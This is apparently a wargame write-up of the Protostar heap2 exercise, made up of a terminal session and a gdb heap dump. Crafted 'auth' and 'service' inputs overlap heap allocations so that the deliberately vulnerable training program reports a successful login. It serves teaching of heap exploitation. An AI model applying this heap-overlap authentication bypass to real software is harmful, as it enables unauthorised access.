$bash

Protostar - heap2

0x0400 : Wargame/0x0409 : protostar

  

[ auth = 0x804c038, service = 0x804c018 ]

auth AAAAAAAAAAAAAAAABBBB

[ auth = 0x804c048, service = 0x804c018 ]

login

please enter your password

[ auth = 0x804c048, service = 0x804c018 ]

auth A

[ auth = 0x804c058, service = 0x804c018 ]

service 123456789ABCEDEF

[ auth = 0x804c058, service = 0x804c068 ]

login

you have logged in already!

[ auth = 0x804c058, service = 0x804c068 ]

^Z

Program received signal SIGTSTP, Stopped (user).

0xb7f53c1e in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82

82 in ../sysdeps/unix/syscall-template.S

(gdb) x/60x 0x804c000

0x804c000: 0x00000000 0x00000011 0x41414141 0x0000000a

0x804c010: 0x00000000 0x00000011 0x0000000a 0x00000000

0x804c020: 0x00000000 0x00000011 0x42424242 0x0000000a

0x804c030: 0x00000000 0x00000011 0x34333231 0x38373635

0x804c040: 0x43424139 0x00000011 0x41414141 0x41414141

0x804c050: 0x41414141 0x00000011 0x00000a41 0x0000000a

0x804c060: 0x00000000 0x00000019 0x33323120 0x37363534

0x804c070: 0x42413938 0x45444543 0x00000a46 0x41414119

0x804c080: 0x00000000 0x00000000 0x00000000 0x00000000

0x804c090: 0x00000000 0x00000000 0x00000000 0x00000000

0x804c0a0: 0x00000000 0x00000000 0x00000000 0x00000000

0x804c0b0: 0x00000000 0x00000000 0x00000000 0x00000000

0x804c0c0: 0x00000000 0x00000000 0x00000000 0x00000000

0x804c0d0: 0x00000000 0x00000000 0x00000000 0x00000000

0x804c0e0: 0x00000000 0x00000000 0x00000000 0x00000000

(gdb) 

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